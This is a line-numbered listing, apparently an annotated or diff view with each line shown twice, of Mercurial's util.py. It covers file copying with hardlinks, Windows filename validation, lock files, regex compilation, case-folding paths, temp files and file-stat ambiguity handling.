1255 newstat = filestat.frompath(dest)
1259 newstat = filestat.frompath(dest)
1256 if newstat.isambig(oldstat):
1260 if newstat.isambig(oldstat):
1257 # stat of copied file is ambiguous to original one
1261 # stat of copied file is ambiguous to original one
1258 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1262 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1259 os.utime(dest, (advanced, advanced))
1263 os.utime(dest, (advanced, advanced))
1260 except shutil.Error as inst:
1264 except shutil.Error as inst:
1261 raise Abort(str(inst))
1265 raise Abort(str(inst))
1262
1266
1263 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1267 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1264 """Copy a directory tree using hardlinks if possible."""
1268 """Copy a directory tree using hardlinks if possible."""
1265 num = 0
1269 num = 0
1266
1270
1267 gettopic = lambda: hardlink and _('linking') or _('copying')
1271 gettopic = lambda: hardlink and _('linking') or _('copying')
1268
1272
1269 if os.path.isdir(src):
1273 if os.path.isdir(src):
1270 if hardlink is None:
1274 if hardlink is None:
1271 hardlink = (os.stat(src).st_dev ==
1275 hardlink = (os.stat(src).st_dev ==
1272 os.stat(os.path.dirname(dst)).st_dev)
1276 os.stat(os.path.dirname(dst)).st_dev)
1273 topic = gettopic()
1277 topic = gettopic()
1274 os.mkdir(dst)
1278 os.mkdir(dst)
1275 for name, kind in listdir(src):
1279 for name, kind in listdir(src):
1276 srcname = os.path.join(src, name)
1280 srcname = os.path.join(src, name)
1277 dstname = os.path.join(dst, name)
1281 dstname = os.path.join(dst, name)
1278 def nprog(t, pos):
1282 def nprog(t, pos):
1279 if pos is not None:
1283 if pos is not None:
1280 return progress(t, pos + num)
1284 return progress(t, pos + num)
1281 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1285 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1282 num += n
1286 num += n
1283 else:
1287 else:
1284 if hardlink is None:
1288 if hardlink is None:
1285 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1289 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1286 os.stat(os.path.dirname(dst)).st_dev)
1290 os.stat(os.path.dirname(dst)).st_dev)
1287 topic = gettopic()
1291 topic = gettopic()
1288
1292
1289 if hardlink:
1293 if hardlink:
1290 try:
1294 try:
1291 oslink(src, dst)
1295 oslink(src, dst)
1292 except (IOError, OSError):
1296 except (IOError, OSError):
1293 hardlink = False
1297 hardlink = False
1294 shutil.copy(src, dst)
1298 shutil.copy(src, dst)
1295 else:
1299 else:
1296 shutil.copy(src, dst)
1300 shutil.copy(src, dst)
1297 num += 1
1301 num += 1
1298 progress(topic, num)
1302 progress(topic, num)
1299 progress(topic, None)
1303 progress(topic, None)
1300
1304
1301 return hardlink, num
1305 return hardlink, num
1302
1306
1303 _winreservednames = {
1307 _winreservednames = {
1304 'con', 'prn', 'aux', 'nul',
1308 'con', 'prn', 'aux', 'nul',
1305 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1309 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1306 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1310 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1307 }
1311 }
1308 _winreservedchars = ':*?"<>|'
1312 _winreservedchars = ':*?"<>|'
1309 def checkwinfilename(path):
1313 def checkwinfilename(path):
1310 r'''Check that the base-relative path is a valid filename on Windows.
1314 r'''Check that the base-relative path is a valid filename on Windows.
1311 Returns None if the path is ok, or a UI string describing the problem.
1315 Returns None if the path is ok, or a UI string describing the problem.
1312
1316
1313 >>> checkwinfilename(b"just/a/normal/path")
1317 >>> checkwinfilename(b"just/a/normal/path")
1314 >>> checkwinfilename(b"foo/bar/con.xml")
1318 >>> checkwinfilename(b"foo/bar/con.xml")
1315 "filename contains 'con', which is reserved on Windows"
1319 "filename contains 'con', which is reserved on Windows"
1316 >>> checkwinfilename(b"foo/con.xml/bar")
1320 >>> checkwinfilename(b"foo/con.xml/bar")
1317 "filename contains 'con', which is reserved on Windows"
1321 "filename contains 'con', which is reserved on Windows"
1318 >>> checkwinfilename(b"foo/bar/xml.con")
1322 >>> checkwinfilename(b"foo/bar/xml.con")
1319 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1323 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1320 "filename contains 'AUX', which is reserved on Windows"
1324 "filename contains 'AUX', which is reserved on Windows"
1321 >>> checkwinfilename(b"foo/bar/bla:.txt")
1325 >>> checkwinfilename(b"foo/bar/bla:.txt")
1322 "filename contains ':', which is reserved on Windows"
1326 "filename contains ':', which is reserved on Windows"
1323 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1327 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1324 "filename contains '\\x07', which is invalid on Windows"
1328 "filename contains '\\x07', which is invalid on Windows"
1325 >>> checkwinfilename(b"foo/bar/bla ")
1329 >>> checkwinfilename(b"foo/bar/bla ")
1326 "filename ends with ' ', which is not allowed on Windows"
1330 "filename ends with ' ', which is not allowed on Windows"
1327 >>> checkwinfilename(b"../bar")
1331 >>> checkwinfilename(b"../bar")
1328 >>> checkwinfilename(b"foo\\")
1332 >>> checkwinfilename(b"foo\\")
1329 "filename ends with '\\', which is invalid on Windows"
1333 "filename ends with '\\', which is invalid on Windows"
1330 >>> checkwinfilename(b"foo\\/bar")
1334 >>> checkwinfilename(b"foo\\/bar")
1331 "directory name ends with '\\', which is invalid on Windows"
1335 "directory name ends with '\\', which is invalid on Windows"
1332 '''
1336 '''
1333 if path.endswith('\\'):
1337 if path.endswith('\\'):
1334 return _("filename ends with '\\', which is invalid on Windows")
1338 return _("filename ends with '\\', which is invalid on Windows")
1335 if '\\/' in path:
1339 if '\\/' in path:
1336 return _("directory name ends with '\\', which is invalid on Windows")
1340 return _("directory name ends with '\\', which is invalid on Windows")
1337 for n in path.replace('\\', '/').split('/'):
1341 for n in path.replace('\\', '/').split('/'):
1338 if not n:
1342 if not n:
1339 continue
1343 continue
1340 for c in _filenamebytestr(n):
1344 for c in _filenamebytestr(n):
1341 if c in _winreservedchars:
1345 if c in _winreservedchars:
1342 return _("filename contains '%s', which is reserved "
1346 return _("filename contains '%s', which is reserved "
1343 "on Windows") % c
1347 "on Windows") % c
1344 if ord(c) <= 31:
1348 if ord(c) <= 31:
1345 return _("filename contains '%s', which is invalid "
1349 return _("filename contains '%s', which is invalid "
1346 "on Windows") % escapestr(c)
1350 "on Windows") % escapestr(c)
1347 base = n.split('.')[0]
1351 base = n.split('.')[0]
1348 if base and base.lower() in _winreservednames:
1352 if base and base.lower() in _winreservednames:
1349 return _("filename contains '%s', which is reserved "
1353 return _("filename contains '%s', which is reserved "
1350 "on Windows") % base
1354 "on Windows") % base
1351 t = n[-1:]
1355 t = n[-1:]
1352 if t in '. ' and n not in '..':
1356 if t in '. ' and n not in '..':
1353 return _("filename ends with '%s', which is not allowed "
1357 return _("filename ends with '%s', which is not allowed "
1354 "on Windows") % t
1358 "on Windows") % t
1355
1359
1356 if pycompat.iswindows:
1360 if pycompat.iswindows:
1357 checkosfilename = checkwinfilename
1361 checkosfilename = checkwinfilename
1358 timer = time.clock
1362 timer = time.clock
1359 else:
1363 else:
1360 checkosfilename = platform.checkosfilename
1364 checkosfilename = platform.checkosfilename
1361 timer = time.time
1365 timer = time.time
1362
1366
1363 if safehasattr(time, "perf_counter"):
1367 if safehasattr(time, "perf_counter"):
1364 timer = time.perf_counter
1368 timer = time.perf_counter
1365
1369
1366 def makelock(info, pathname):
1370 def makelock(info, pathname):
1367 try:
1371 try:
1368 return os.symlink(info, pathname)
1372 return os.symlink(info, pathname)
1369 except OSError as why:
1373 except OSError as why:
1370 if why.errno == errno.EEXIST:
1374 if why.errno == errno.EEXIST:
1371 raise
1375 raise
1372 except AttributeError: # no symlink in os
1376 except AttributeError: # no symlink in os
1373 pass
1377 pass
1374
1378
1375 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1379 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1376 os.write(ld, info)
1380 os.write(ld, info)
1377 os.close(ld)
1381 os.close(ld)
1378
1382
1379 def readlock(pathname):
1383 def readlock(pathname):
1380 try:
1384 try:
1381 return os.readlink(pathname)
1385 return os.readlink(pathname)
1382 except OSError as why:
1386 except OSError as why:
1383 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1387 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1384 raise
1388 raise
1385 except AttributeError: # no symlink in os
1389 except AttributeError: # no symlink in os
1386 pass
1390 pass
1387 fp = posixfile(pathname)
1391 fp = posixfile(pathname)
1388 r = fp.read()
1392 r = fp.read()
1389 fp.close()
1393 fp.close()
1390 return r
1394 return r
1391
1395
1392 def fstat(fp):
1396 def fstat(fp):
1393 '''stat file object that may not have fileno method.'''
1397 '''stat file object that may not have fileno method.'''
1394 try:
1398 try:
1395 return os.fstat(fp.fileno())
1399 return os.fstat(fp.fileno())
1396 except AttributeError:
1400 except AttributeError:
1397 return os.stat(fp.name)
1401 return os.stat(fp.name)
1398
1402
1399 # File system features
1403 # File system features
1400
1404
1401 def fscasesensitive(path):
1405 def fscasesensitive(path):
1402 """
1406 """
1403 Return true if the given path is on a case-sensitive filesystem
1407 Return true if the given path is on a case-sensitive filesystem
1404
1408
1405 Requires a path (like /foo/.hg) ending with a foldable final
1409 Requires a path (like /foo/.hg) ending with a foldable final
1406 directory component.
1410 directory component.
1407 """
1411 """
1408 s1 = os.lstat(path)
1412 s1 = os.lstat(path)
1409 d, b = os.path.split(path)
1413 d, b = os.path.split(path)
1410 b2 = b.upper()
1414 b2 = b.upper()
1411 if b == b2:
1415 if b == b2:
1412 b2 = b.lower()
1416 b2 = b.lower()
1413 if b == b2:
1417 if b == b2:
1414 return True # no evidence against case sensitivity
1418 return True # no evidence against case sensitivity
1415 p2 = os.path.join(d, b2)
1419 p2 = os.path.join(d, b2)
1416 try:
1420 try:
1417 s2 = os.lstat(p2)
1421 s2 = os.lstat(p2)
1418 if s2 == s1:
1422 if s2 == s1:
1419 return False
1423 return False
1420 return True
1424 return True
1421 except OSError:
1425 except OSError:
1422 return True
1426 return True
1423
1427
1424 try:
1428 try:
1425 import re2
1429 import re2
1426 _re2 = None
1430 _re2 = None
1427 except ImportError:
1431 except ImportError:
1428 _re2 = False
1432 _re2 = False
1429
1433
1430 class _re(object):
1434 class _re(object):
1431 def _checkre2(self):
1435 def _checkre2(self):
1432 global _re2
1436 global _re2
1433 try:
1437 try:
1434 # check if match works, see issue3964
1438 # check if match works, see issue3964
1435 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1439 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1436 except ImportError:
1440 except ImportError:
1437 _re2 = False
1441 _re2 = False
1438
1442
1439 def compile(self, pat, flags=0):
1443 def compile(self, pat, flags=0):
1440 '''Compile a regular expression, using re2 if possible
1444 '''Compile a regular expression, using re2 if possible
1441
1445
1442 For best performance, use only re2-compatible regexp features. The
1446 For best performance, use only re2-compatible regexp features. The
1443 only flags from the re module that are re2-compatible are
1447 only flags from the re module that are re2-compatible are
1444 IGNORECASE and MULTILINE.'''
1448 IGNORECASE and MULTILINE.'''
1445 if _re2 is None:
1449 if _re2 is None:
1446 self._checkre2()
1450 self._checkre2()
1447 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1451 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1448 if flags & remod.IGNORECASE:
1452 if flags & remod.IGNORECASE:
1449 pat = '(?i)' + pat
1453 pat = '(?i)' + pat
1450 if flags & remod.MULTILINE:
1454 if flags & remod.MULTILINE:
1451 pat = '(?m)' + pat
1455 pat = '(?m)' + pat
1452 try:
1456 try:
1453 return re2.compile(pat)
1457 return re2.compile(pat)
1454 except re2.error:
1458 except re2.error:
1455 pass
1459 pass
1456 return remod.compile(pat, flags)
1460 return remod.compile(pat, flags)
1457
1461
1458 @propertycache
1462 @propertycache
1459 def escape(self):
1463 def escape(self):
1460 '''Return the version of escape corresponding to self.compile.
1464 '''Return the version of escape corresponding to self.compile.
1461
1465
1462 This is imperfect because whether re2 or re is used for a particular
1466 This is imperfect because whether re2 or re is used for a particular
1463 function depends on the flags, etc, but it's the best we can do.
1467 function depends on the flags, etc, but it's the best we can do.
1464 '''
1468 '''
1465 global _re2
1469 global _re2
1466 if _re2 is None:
1470 if _re2 is None:
1467 self._checkre2()
1471 self._checkre2()
1468 if _re2:
1472 if _re2:
1469 return re2.escape
1473 return re2.escape
1470 else:
1474 else:
1471 return remod.escape
1475 return remod.escape
1472
1476
1473 re = _re()
1477 re = _re()
1474
1478
1475 _fspathcache = {}
1479 _fspathcache = {}
1476 def fspath(name, root):
1480 def fspath(name, root):
1477 '''Get name in the case stored in the filesystem
1481 '''Get name in the case stored in the filesystem
1478
1482
1479 The name should be relative to root, and be normcase-ed for efficiency.
1483 The name should be relative to root, and be normcase-ed for efficiency.
1480
1484
1481 Note that this function is unnecessary, and should not be
1485 Note that this function is unnecessary, and should not be
1482 called, for case-sensitive filesystems (simply because it's expensive).
1486 called, for case-sensitive filesystems (simply because it's expensive).
1483
1487
1484 The root should be normcase-ed, too.
1488 The root should be normcase-ed, too.
1485 '''
1489 '''
1486 def _makefspathcacheentry(dir):
1490 def _makefspathcacheentry(dir):
1487 return dict((normcase(n), n) for n in os.listdir(dir))
1491 return dict((normcase(n), n) for n in os.listdir(dir))
1488
1492
1489 seps = pycompat.ossep
1493 seps = pycompat.ossep
1490 if pycompat.osaltsep:
1494 if pycompat.osaltsep:
1491 seps = seps + pycompat.osaltsep
1495 seps = seps + pycompat.osaltsep
1492 # Protect backslashes. This gets silly very quickly.
1496 # Protect backslashes. This gets silly very quickly.
1493 seps.replace('\\','\\\\')
1497 seps.replace('\\','\\\\')
1494 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1498 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1495 dir = os.path.normpath(root)
1499 dir = os.path.normpath(root)
1496 result = []
1500 result = []
1497 for part, sep in pattern.findall(name):
1501 for part, sep in pattern.findall(name):
1498 if sep:
1502 if sep:
1499 result.append(sep)
1503 result.append(sep)
1500 continue
1504 continue
1501
1505
1502 if dir not in _fspathcache:
1506 if dir not in _fspathcache:
1503 _fspathcache[dir] = _makefspathcacheentry(dir)
1507 _fspathcache[dir] = _makefspathcacheentry(dir)
1504 contents = _fspathcache[dir]
1508 contents = _fspathcache[dir]
1505
1509
1506 found = contents.get(part)
1510 found = contents.get(part)
1507 if not found:
1511 if not found:
1508 # retry "once per directory" per "dirstate.walk" which
1512 # retry "once per directory" per "dirstate.walk" which
1509 # may take place for each patches of "hg qpush", for example
1513 # may take place for each patches of "hg qpush", for example
1510 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1514 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1511 found = contents.get(part)
1515 found = contents.get(part)
1512
1516
1513 result.append(found or part)
1517 result.append(found or part)
1514 dir = os.path.join(dir, part)
1518 dir = os.path.join(dir, part)
1515
1519
1516 return ''.join(result)
1520 return ''.join(result)
1517
1521
1518 def getfstype(dirpath):
1522 def getfstype(dirpath):
1519 '''Get the filesystem type name from a directory (best-effort)
1523 '''Get the filesystem type name from a directory (best-effort)
1520
1524
1521 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1525 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1522 '''
1526 '''
1523 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1527 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1524
1528
1525 def checknlink(testfile):
1529 def checknlink(testfile):
1526 '''check whether hardlink count reporting works properly'''
1530 '''check whether hardlink count reporting works properly'''
1527
1531
1528 # testfile may be open, so we need a separate file for checking to
1532 # testfile may be open, so we need a separate file for checking to
1529 # work around issue2543 (or testfile may get lost on Samba shares)
1533 # work around issue2543 (or testfile may get lost on Samba shares)
1530 f1, f2, fp = None, None, None
1534 f1, f2, fp = None, None, None
1531 try:
1535 try:
1532 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1536 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1533 suffix='1~', dir=os.path.dirname(testfile))
1537 suffix='1~', dir=os.path.dirname(testfile))
1534 os.close(fd)
1538 os.close(fd)
1535 f2 = '%s2~' % f1[:-2]
1539 f2 = '%s2~' % f1[:-2]
1536
1540
1537 oslink(f1, f2)
1541 oslink(f1, f2)
1538 # nlinks() may behave differently for files on Windows shares if
1542 # nlinks() may behave differently for files on Windows shares if
1539 # the file is open.
1543 # the file is open.
1540 fp = posixfile(f2)
1544 fp = posixfile(f2)
1541 return nlinks(f2) > 1
1545 return nlinks(f2) > 1
1542 except OSError:
1546 except OSError:
1543 return False
1547 return False
1544 finally:
1548 finally:
1545 if fp is not None:
1549 if fp is not None:
1546 fp.close()
1550 fp.close()
1547 for f in (f1, f2):
1551 for f in (f1, f2):
1548 try:
1552 try:
1549 if f is not None:
1553 if f is not None:
1550 os.unlink(f)
1554 os.unlink(f)
1551 except OSError:
1555 except OSError:
1552 pass
1556 pass
1553
1557
1554 def endswithsep(path):
1558 def endswithsep(path):
1555 '''Check path ends with os.sep or os.altsep.'''
1559 '''Check path ends with os.sep or os.altsep.'''
1556 return (path.endswith(pycompat.ossep)
1560 return (path.endswith(pycompat.ossep)
1557 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1561 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1558
1562
1559 def splitpath(path):
1563 def splitpath(path):
1560 '''Split path by os.sep.
1564 '''Split path by os.sep.
1561 Note that this function does not use os.altsep because this is
1565 Note that this function does not use os.altsep because this is
1562 an alternative of simple "xxx.split(os.sep)".
1566 an alternative of simple "xxx.split(os.sep)".
1563 It is recommended to use os.path.normpath() before using this
1567 It is recommended to use os.path.normpath() before using this
1564 function if need.'''
1568 function if need.'''
1565 return path.split(pycompat.ossep)
1569 return path.split(pycompat.ossep)
1566
1570
1567 def gui():
1571 def gui():
1568 '''Are we running in a GUI?'''
1572 '''Are we running in a GUI?'''
1569 if pycompat.isdarwin:
1573 if pycompat.isdarwin:
1570 if 'SSH_CONNECTION' in encoding.environ:
1574 if 'SSH_CONNECTION' in encoding.environ:
1571 # handle SSH access to a box where the user is logged in
1575 # handle SSH access to a box where the user is logged in
1572 return False
1576 return False
1573 elif getattr(osutil, 'isgui', None):
1577 elif getattr(osutil, 'isgui', None):
1574 # check if a CoreGraphics session is available
1578 # check if a CoreGraphics session is available
1575 return osutil.isgui()
1579 return osutil.isgui()
1576 else:
1580 else:
1577 # pure build; use a safe default
1581 # pure build; use a safe default
1578 return True
1582 return True
1579 else:
1583 else:
1580 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1584 return pycompat.iswindows or encoding.environ.get("DISPLAY")
1581
1585
1582 def mktempcopy(name, emptyok=False, createmode=None):
1586 def mktempcopy(name, emptyok=False, createmode=None):
1583 """Create a temporary file with the same contents from name
1587 """Create a temporary file with the same contents from name
1584
1588
1585 The permission bits are copied from the original file.
1589 The permission bits are copied from the original file.
1586
1590
1587 If the temporary file is going to be truncated immediately, you
1591 If the temporary file is going to be truncated immediately, you
1588 can use emptyok=True as an optimization.
1592 can use emptyok=True as an optimization.
1589
1593
1590 Returns the name of the temporary file.
1594 Returns the name of the temporary file.
1591 """
1595 """
1592 d, fn = os.path.split(name)
1596 d, fn = os.path.split(name)
1593 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1597 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1594 os.close(fd)
1598 os.close(fd)
1595 # Temporary files are created with mode 0600, which is usually not
1599 # Temporary files are created with mode 0600, which is usually not
1596 # what we want. If the original file already exists, just copy
1600 # what we want. If the original file already exists, just copy
1597 # its mode. Otherwise, manually obey umask.
1601 # its mode. Otherwise, manually obey umask.
1598 copymode(name, temp, createmode)
1602 copymode(name, temp, createmode)
1599 if emptyok:
1603 if emptyok:
1600 return temp
1604 return temp
1601 try:
1605 try:
1602 try:
1606 try:
1603 ifp = posixfile(name, "rb")
1607 ifp = posixfile(name, "rb")
1604 except IOError as inst:
1608 except IOError as inst:
1605 if inst.errno == errno.ENOENT:
1609 if inst.errno == errno.ENOENT:
1606 return temp
1610 return temp
1607 if not getattr(inst, 'filename', None):
1611 if not getattr(inst, 'filename', None):
1608 inst.filename = name
1612 inst.filename = name
1609 raise
1613 raise
1610 ofp = posixfile(temp, "wb")
1614 ofp = posixfile(temp, "wb")
1611 for chunk in filechunkiter(ifp):
1615 for chunk in filechunkiter(ifp):
1612 ofp.write(chunk)
1616 ofp.write(chunk)
1613 ifp.close()
1617 ifp.close()
1614 ofp.close()
1618 ofp.close()
1615 except: # re-raises
1619 except: # re-raises
1616 try:
1620 try:
1617 os.unlink(temp)
1621 os.unlink(temp)
1618 except OSError:
1622 except OSError:
1619 pass
1623 pass
1620 raise
1624 raise
1621 return temp
1625 return temp
1622
1626
1623 class filestat(object):
1627 class filestat(object):
1624 """help to exactly detect change of a file
1628 """help to exactly detect change of a file
1625
1629
1626 'stat' attribute is result of 'os.stat()' if specified 'path'
1630 'stat' attribute is result of 'os.stat()' if specified 'path'
1627 exists. Otherwise, it is None. This can avoid preparative
1631 exists. Otherwise, it is None. This can avoid preparative
1628 'exists()' examination on client side of this class.
1632 'exists()' examination on client side of this class.
1629 """
1633 """
1630 def __init__(self, stat):
1634 def __init__(self, stat):
1631 self.stat = stat
1635 self.stat = stat
1632
1636
1633 @classmethod
1637 @classmethod
1634 def frompath(cls, path):
1638 def frompath(cls, path):
1635 try:
1639 try:
1636 stat = os.stat(path)
1640 stat = os.stat(path)
1637 except OSError as err:
1641 except OSError as err:
1638 if err.errno != errno.ENOENT:
1642 if err.errno != errno.ENOENT:
1639 raise
1643 raise
1640 stat = None
1644 stat = None
1641 return cls(stat)
1645 return cls(stat)
1642
1646
1643 @classmethod
1647 @classmethod
1644 def fromfp(cls, fp):
1648 def fromfp(cls, fp):
1645 stat = os.fstat(fp.fileno())
1649 stat = os.fstat(fp.fileno())
1646 return cls(stat)
1650 return cls(stat)
1647
1651
1648 __hash__ = object.__hash__
1652 __hash__ = object.__hash__
1649
1653
1650 def __eq__(self, old):
1654 def __eq__(self, old):
1651 try:
1655 try:
1652 # if ambiguity between stat of new and old file is
1656 # if ambiguity between stat of new and old file is
1653 # avoided, comparison of size, ctime and mtime is enough
1657 # avoided, comparison of size, ctime and mtime is enough
1654 # to exactly detect change of a file regardless of platform
1658 # to exactly detect change of a file regardless of platform
1655 return (self.stat.st_size == old.stat.st_size and
1659 return (self.stat.st_size == old.stat.st_size and
1656 self.stat.st_ctime == old.stat.st_ctime and
1660 self.stat.st_ctime == old.stat.st_ctime and
1657 self.stat.st_mtime == old.stat.st_mtime)
1661 self.stat.st_mtime == old.stat.st_mtime)
1658 except AttributeError:
1662 except AttributeError:
1659 pass
1663 pass
1660 try:
1664 try:
1661 return self.stat is None and old.stat is None
1665 return self.stat is None and old.stat is None
1662 except AttributeError:
1666 except AttributeError:
1663 return False
1667 return False
1664
1668
1665 def isambig(self, old):
1669 def isambig(self, old):
1666 """Examine whether new (= self) stat is ambiguous against old one
1670 """Examine whether new (= self) stat is ambiguous against old one
1667
1671
1668 "S[N]" below means stat of a file at N-th change:
1672 "S[N]" below means stat of a file at N-th change:
1669
1673
1670 - S[n-1].ctime < S[n].ctime: can detect change of a file
1674 - S[n-1].ctime < S[n].ctime: can detect change of a file
1671 - S[n-1].ctime == S[n].ctime
1675 - S[n-1].ctime == S[n].ctime
1672 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1676 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1673 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1677 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1674 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1678 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1675 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1679 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1676
1680
1677 Case (*2) above means that a file was changed twice or more at
1681 Case (*2) above means that a file was changed twice or more at
1678 same time in sec (= S[n-1].ctime), and comparison of timestamp
1682 same time in sec (= S[n-1].ctime), and comparison of timestamp
1679 is ambiguous.
1683 is ambiguous.
1680
1684
1681 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1685 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1682 timestamp is ambiguous".
1686 timestamp is ambiguous".
1683
1687
1684 But advancing mtime only in case (*2) doesn't work as
1688 But advancing mtime only in case (*2) doesn't work as
1685 expected, because naturally advanced S[n].mtime in case (*1)
1689 expected, because naturally advanced S[n].mtime in case (*1)
1686 might be equal to manually advanced S[n-1 or earlier].mtime.
1690 might be equal to manually advanced S[n-1 or earlier].mtime.
1687
1691
1688 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1692 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1689 treated as ambiguous regardless of mtime, to avoid overlooking
1693 treated as ambiguous regardless of mtime, to avoid overlooking
1690 by confliction between such mtime.
1694 by confliction between such mtime.
1691
1695
1692 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1696 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1693 S[n].mtime", even if size of a file isn't changed.
1697 S[n].mtime", even if size of a file isn't changed.
1694 """
1698 """
1695 try:
1699 try:
1696 return (self.stat.st_ctime == old.stat.st_ctime)
1700 return (self.stat.st_ctime == old.stat.st_ctime)
1697 except AttributeError:
1701 except AttributeError:
1698 return False
1702 return False
1699
1703
1700 def avoidambig(self, path, old):
1704 def avoidambig(self, path, old):
1701 """Change file stat of specified path to avoid ambiguity
1705 """Change file stat of specified path to avoid ambiguity
1702
1706
1703 'old' should be previous filestat of 'path'.
1707 'old' should be previous filestat of 'path'.
1704
1708
1705 This skips avoiding ambiguity, if a process doesn't have
1709 This skips avoiding ambiguity, if a process doesn't have
1706 appropriate privileges for 'path'. This returns False in this
1710 appropriate privileges for 'path'. This returns False in this
1707 case.
1711 case.
1708
1712
1709 Otherwise, this returns True, as "ambiguity is avoided".
1713 Otherwise, this returns True, as "ambiguity is avoided".
1710 """
1714 """
1711 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1715 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1712 try:
1716 try:
1713 os.utime(path, (advanced, advanced))
1717 os.utime(path, (advanced, advanced))
1714 except OSError as inst:
1718 except OSError as inst:
1715 if inst.errno == errno.EPERM:
1719 if inst.errno == errno.EPERM:
1716 # utime() on the file created by another user causes EPERM,
1720 # utime() on the file created by another user causes EPERM,
1717 # if a process doesn't have appropriate privileges
1721 # if a process doesn't have appropriate privileges
1718 return False
1722 return False
1719 raise
1723 raise
1720 return True
1724 return True
1721
1725
1722 def __ne__(self, other):
1726 def __ne__(self, other):
1723 return not self == other
1727 return not self == other
1724
1728
1725 class atomictempfile(object):
1729 class atomictempfile(object):
1726 '''writable file object that atomically updates a file
1730 '''writable file object that atomically updates a file
1727
1731
1728 All writes will go to a temporary copy of the original file. Call
1732 All writes will go to a temporary copy of the original file. Call
1729 close() when you are done writing, and atomictempfile will rename
1733 close() when you are done writing, and atomictempfile will rename
1730 the temporary copy to the original name, making the changes
1734 the temporary copy to the original name, making the changes
1731 visible. If the object is destroyed without being closed, all your
1735 visible. If the object is destroyed without being closed, all your
1732 writes are discarded.
1736 writes are discarded.
1733
1737
1734 checkambig argument of constructor is used with filestat, and is
1738 checkambig argument of constructor is used with filestat, and is
1735 useful only if target file is guarded by any lock (e.g. repo.lock
1739 useful only if target file is guarded by any lock (e.g. repo.lock
1736 or repo.wlock).
1740 or repo.wlock).
1737 '''
1741 '''
1738 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1742 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1739 self.__name = name # permanent name
1743 self.__name = name # permanent name
1740 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1744 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1741 createmode=createmode)
1745 createmode=createmode)
1742 self._fp = posixfile(self._tempname, mode)
1746 self._fp = posixfile(self._tempname, mode)
1743 self._checkambig = checkambig
1747 self._checkambig = checkambig
1744
1748
1745 # delegated methods
1749 # delegated methods
1746 self.read = self._fp.read
1750 self.read = self._fp.read
1747 self.write = self._fp.write
1751 self.write = self._fp.write
1748 self.seek = self._fp.seek
1752 self.seek = self._fp.seek
1749 self.tell = self._fp.tell
1753 self.tell = self._fp.tell
1750 self.fileno = self._fp.fileno
1754 self.fileno = self._fp.fileno
1751
1755
1752 def close(self):
1756 def close(self):
1753 if not self._fp.closed:
1757 if not self._fp.closed:
1754 self._fp.close()
1758 self._fp.close()
1755 filename = localpath(self.__name)
1759 filename = localpath(self.__name)
1756 oldstat = self._checkambig and filestat.frompath(filename)
1760 oldstat = self._checkambig and filestat.frompath(filename)
1757 if oldstat and oldstat.stat:
1761 if oldstat and oldstat.stat:
1758 rename(self._tempname, filename)
1762 rename(self._tempname, filename)
1759 newstat = filestat.frompath(filename)
1763 newstat = filestat.frompath(filename)
